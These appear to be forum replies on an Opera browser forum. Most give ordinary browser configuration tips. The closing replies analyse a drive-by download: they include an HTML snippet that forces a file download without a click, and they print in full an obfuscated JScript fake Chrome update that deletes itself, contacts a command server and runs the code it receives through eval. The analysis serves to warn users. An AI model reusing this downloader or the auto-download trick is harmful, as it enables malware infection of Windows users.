Goto the URL opera://flags/#search-in-open-tabs, disable the flag, and restart Opera.

In Opera Developer (68), it has been change to a search icon. You can goto the URL opera://flags/#search-in-open-tabs, disable it and restart to get the old behavior back.

Are you using Opera 68?

Disable opera://flags/#search-in-open-tabs.

In the Opera program files directory, right-click on launcher.exe to create a new shortcut and place it on your desktop. Then, on the desktop, rename it what you want. Then, right-click on the shortcut, goto properties and then the "shortcut" tab. On that tab, modify the target to add the --user-data-dir command-line switch.

For example:

"C:\Program Files (X86)\Opera\launcher.exe" "--user-data-dir=C:\Users\yourusername\Opera2"

(I personally have a "My Program Files" folder in "C:\Users\myusername", so I'd use "C:\Users\myusername\My Program Files\Opera2" for example.)

You can create as many shortcuts as you want with each using a different profile folder.

See http://peter.sh/experiments/chromium-command-line-switches/#user-data-dir for more info.

To enable password importing, you need to start Opera with the --enable-features=PasswordImport command-line switch.

For example:

"C:\Program Files\Opera\launcher.exe" --enable-features=PasswordImport

Goto the URL opera://about to see the "install" path to see what the path to your launcher.exe is. You can then run that command in a command prompt or modify the properties of Opera's shortcut to pass that switch to launcher.exe.

Then, in Opera, you can goto the URL opera://settings/importData and import your passwords from Chrome. But, you need to make sure Chrome is closed when you do it.

Or, if you want to import the csv file, you can then goto the URL opera://settings/passwords and the "import" option will be available.

The setup I did for Opera Stable (66) for libffmpeg and Widevine on Linux Mint 19.3 XFCE is this:

• Install Google Chrome and Opera.

• Create "/usr/lib/x86_64-linux-gnu/opera/lib_extra"

• Place libffmpeg.so for Chromium 79 in the "lib_extra" folder. Got it from https://github.com/iteufel/nwjs-ffmpeg-prebuilt/releases/tag/0.43.6.

• Copy "opt/google/chrome/WidevineCdm" to the "lib_extra" folder.

• Edit "/usr/lib/x86_64-linux-gnu/opera/resources/ffmpeg_preload_config.json" to be:

  []
  

• Edit "/usr/lib/x86_64-linux-gnu/opera/resources/widevine_config.json" to be:

    [
        {
           "preload": "/usr/lib/x86_64-linux-gnu/opera/lib_extra/WidevineCdm"
        }
  
    ]
  

• Uninstall Chrome and delete "/usr/lib/chromium-browser" for good measure.

In testing, unlike "lib_extra" for ffmpeg, Opera does not not search for the Widevine lib or the Widevine folder in any other place besides what's in widevine_config.json. It doesn't even search in "~/.config/opera/WidevineCdm".

(See https://forums.opera.com/post/199264 (my reply/question to @jimunderscorep) for why I edited the config files so Opera only searches for its own copies of libffmpeg and widevine.)

The feature was called Instant Search and Opera removed it.

opera://settings/searchEngines

https://translate.google.com/#auto/th/%s as the search URL should work.

Not the same, but you can hit alt + d (or ctrl + l) to focus the address field, type your search and hit alt + enter. Then, you can hit ctrl + w to close the search result page when you're done to go back to where you were.

Of course, you can just do ctrl + t, type, press enter and do ctrl + w after that instead if that's easier. Again, not the same, but...

Goto here to download the Opera version of FVD Speed Dial. Right-click on "Add to Opera" and save the crx file to your computer. Extract the crx file to a folder (with 7-zip for example). In the folder, goto "js/bg/newtab_replace.js" and edit it. Uncomment the commented code and save your changes. Then, in manifest.json in the root of the folder, delete the update URL info (just for good measure) and save your changes.

Then, in Opera, goto the URL opera://extensions and switch on developer mode. Then, choose "load unpacked extension" and point it to the folder. The extension should then load fine.

@bkt said in Opera won't allow Google calendar or Gmail to be used:

have cleared the cache

Did you also clear cookies? As in, goto the URL opera://settings/siteData, type google.com in the quick-find field and click "remove all shown".

There's a super, super tiny chance that Jon might want to talk to Opera to see if Vivaldi can take over the operamail.com domain where Vivaldi would work with Fastmail to migrate "@operamail.com" users (that wanted to) to Vivaldi mail. Then, those users might have "@operamail.com" as an alias for receiving messages, but would still send new messages as "@vivaldi.net".

But, I don't know if he'd be interested. And, that might not work out for Fastmail users that had plans with more than 5GB of storage.

@wayner46 Yeah, Vivaldi's services are made to replace the old My Opera community and the Operamail service. You can sign up for free at https://login.vivaldi.net/profile/id/signup.

For mail, you get 5GB of storage. It supports IMAP, POP, and SMTP. And, you can access it via https://webmail.vivaldi.net/ instead if you want. It also comes with a blog at yourusername.vivaldi.net.

There are also forums at https://forum.vivaldi.net/. https://forum.vivaldi.net/category/115/webmail is the section for webmail support.

You of course won't have an "@operamail.com" address. but it's a great alternative.

@opera-user-from-2002 said in [Security Issue] Silent extension installation is possible:

I am completely sure I have not clicked any "Continue" instead of "Not now".

Ok.

@opera-user-from-2002 said in [Security Issue] Silent extension installation is possible:

Do you mean Amazon Assistant extension is built in but is hidden and not visible in Extensions window?

Yes. To show it and other built-in component extensions, while Opera is completely closed, launch Opera like this:

"C:\Program Files\Opera\launcher.exe" --show-component-extension-options

(Adjust path to your launcher.exe. See "install" path at the URL opera://about)

I don't know if this works for a remote html file, but it does for a local one:

local.html

<script>
    window.addEventListener("DOMContentLoaded", function() {
        var b = new Blob(['WScript.Echo("Hello World");']);
        var u = URL.createObjectURL(b, {type: "application/javascript"});
        var a = document.createElement("a");
        a.href = u;
        a.download = "evil.js";
        a.textContent = "Update";
        document.body.appendChild(a);
        a.click();
    }, false);
</script>

That will automatically dump evil.js in your download folder. You can double-left-click the file and Windows will ask you if you want to run it (as long as you didn't uncheck the "always ask" box in that dialog before).

You do get a notification in Opera that the download happened. But in Chrome, in the notification, you get a warning and an option to discard the download.

I can't say that this is how the site does it in Opera as I haven't been able to trigger the update page on that site in Opera.

@leocg I didn't have to do anything special in Chrome. But, it only happened after a few times of loading the link and only happened once. I have yet to trigger it in Opera to see if the js file gets dumped by itself in the downloads folder without asking.

For:

var fguvakakam = kongahavha('mfciogx.w1sxc1q/gmeorcg.jahicdaexmzhxtnleaweywxuzne.snciggooelq.r3z0iaj7ydqbm2yfv/q/r:usxpmtmtqhu');
var tid =  kongahavha('d0r0e5p');
var wbz = kongahavha('m1cbgai0i4mag2vag');

The functions translate that into:

https://f2bd7a03.login.nuwealthmedia.com/1x1.gif
500
a2a40ab1

Also, if you see in the code, it requests something from a server and gets a response back. You'll also see at the beginning of the code that the file is set to delete itself after it runs.

@operaequalstrash said in Drive-by download attack:

@burnout426 https://www.google.com/url?sa=t&source=web&rct=j&url=https://fantasticservicesgroup.com.au/blog/how-to-clean-mould-off-bathroom-sealant/%23:~:text%3Dsoda and vinegar.-,Vinegar,and finally rinse with water.&ved=2ahUKEwjVjp3A5vfvAhVdyjgGHVrlBEIQFjABegQIAxAF&usg=AOvVaw267HvzCCIl7hRTgOibLWS7

I was able to trigger the update page for Chrome. There was no automatic download though. I will keep trying to get the false update page in Opera. However, in Chrome, clicking on the "update chrome" link:

<a class="button eula-download-button download-button desktop-only hide-cros" href="blob:https://fantasticservicesgroup.com.au/2effd3cc-8fe0-42d0-9358-a209738ee480" id="buttonDownload" download="Chrome.db7e57.zip">Update Chrome</a>

downloads a blob that represents a zip file. In the zip file is:

Chrome.Update.60c91c.js:

try {
    var kasa = new ActiveXObject('Scripting.FileSystemObject');
    kasa['DeleteFile'](this['WScript']['ScriptFullName'], true);
}
catch (e) {}

var azke = ofznaboqag();
var bjaqug = rhuxikbmicy(azke);
while (azke < bjaqug) {
    azke = ofznaboqag();
    this['WScript']['Sleep'](1000);
}

function rhuxikbmicy(cnifloefpi) {
    return cnifloefpi + 10000;
}

function ofznaboqag() {
    return new Date()['getTime']();
}

var fguvakakam = kongahavha('mfciogx.w1sxc1q/gmeorcg.jahicdaexmzhxtnleaweywxuzne.snciggooelq.r3z0iaj7ydqbm2yfv/q/r:usxpmtmtqhu');
var tid =  kongahavha('d0r0e5p');
var wbz = kongahavha('m1cbgai0i4mag2vag');

var mopemgeyb = ['a', tid];



sendRequest(mopemgeyb);

function sendRequest(mopemgeyb, ypjaliv5) {

    if(typeof ypjaliv5 === 'undefined') { ypjaliv5 = false; }

    var ysviwknoer = '', lukyjiv = '', azhewuv, awkyjugav='eval';

    for (var rebusid3 = 0; rebusid3 < mopemgeyb['length']; rebusid3++) {
        ysviwknoer += rebusid3 + '=' + encodeURIComponent(''+mopemgeyb[rebusid3]) + '&';
    }
    ysviwknoer = fyup(ysviwknoer);

    try {
        var bospopibttu;
        bospopibttu = new ActiveXObject('MSXML2.XMLHTTP');
        bospopibttu['open']('POST', fguvakakam, false);
        bospopibttu['send'](ysviwknoer);
        if (bospopibttu['status'] == 200) {
            lukyjiv = bospopibttu['responseText'];
            if(lukyjiv) {
                azhewuv = fwugym(lukyjiv);
                if(ypjaliv5) {
                    return azhewuv;
                }
                else {
                    this[awkyjugav](azhewuv);
                }
            }
        }
        
    } catch (e) {}

    return false;
    
}




function rnugma(rebusid3) {
    var hebod = '00'+rebusid3['toString'](16);
    hebod = hebod['substr'](hebod['length']-2);
    return hebod;
}

function fwugym(mpumeznxoxih) {
    var vjueqnuf, bvury9, rebusid3, lukyjiv = '';

    bvury9 = parseInt(mpumeznxoxih['substr'](0, 2), 16);
    vjueqnuf = mpumeznxoxih['substr'](2);
    
    for (rebusid3 = 0; rebusid3 < vjueqnuf['length']; rebusid3+=2) {
        lukyjiv += String['fromCharCode'](gcayhptecim(parseInt(vjueqnuf['substr'](rebusid3, 2), 16), bvury9));
    }
    
        
    return lukyjiv;
}


function fyup(mpumeznxoxih) {
    var bvury9 = 207, rebusid3, lukyjiv = '';
    
    for (rebusid3 = 0; rebusid3 < mpumeznxoxih['length']; rebusid3++) {
        lukyjiv += rnugma(mpumeznxoxih['charCodeAt'](rebusid3) ^ bvury9);
    }

    return (rnugma(bvury9)+lukyjiv);
}



function gcayhptecim(ebup, zavyb) {
    var amyn = '', rinnu, minif, rebusid3;
    ebup = nguho(ebup);
    zavyb = nguho(zavyb);
    for(rebusid3 = 0; rebusid3<ebup['length']; rebusid3++) {
        rinnu = ebup['substr'](rebusid3,1);
        minif = zavyb['substr'](rebusid3,1);
        if(rinnu=='0'){
            if(minif=='0'){
                amyn+='0';
            }
            else {
                amyn+='1';
            }
        }
        else {
            if(minif=='0'){
                amyn+='1';
            }
            else {
                amyn+='0';
            }
        }
    }
    
    return parseInt(amyn, 2);
}


function nguho(ebup) {
    ebup = (+ebup)['toString'](2);
    var epwryihno = '00000000' + ebup;
    epwryihno = epwryihno['substr'](epwryihno['length'] - 8);
    return epwryihno;
}

function kongahavha(imalsosu) {
    imalsosu = imalsosu.split('');
    var vhimylpi = '';
    for(var rwean=0; rwean<imalsosu['length']; rwean++) {
        if(rwean%2===1) vhimylpi += imalsosu[rwean];
    }
    vhimylpi = dyah(vhimylpi);
    return vhimylpi;
}

function dyah(cweawvyhco) {
    cweawvyhco = cweawvyhco.split('');
    var kogygku = '';
    for (var ajser = cweawvyhco['length'] - 1; ajser >= 0; ajser--) {
        kogygku += oqjrynixi(cweawvyhco, ajser);
    }
    return kogygku;
}

function oqjrynixi(ditew, aracfespy) {
    return ditew[aracfespy];
}

As in, it's an executable Javascript file (Jscript) for Windows that's dangerous as long as you have Wscript enabled.

test.js:

var text;
text="Hello world!";
WScript.Echo(text);

If you create test.js and double-left-click on it and it shows a dialog with "Hello world!", Windows Scripting Host is enabled and you might want to disable it.

If you never actually executed the Opera update js you got, you should be okay.

@operaequalstrash said in Drive-by download attack:

I happened upon a compromised website

What website? URL to it?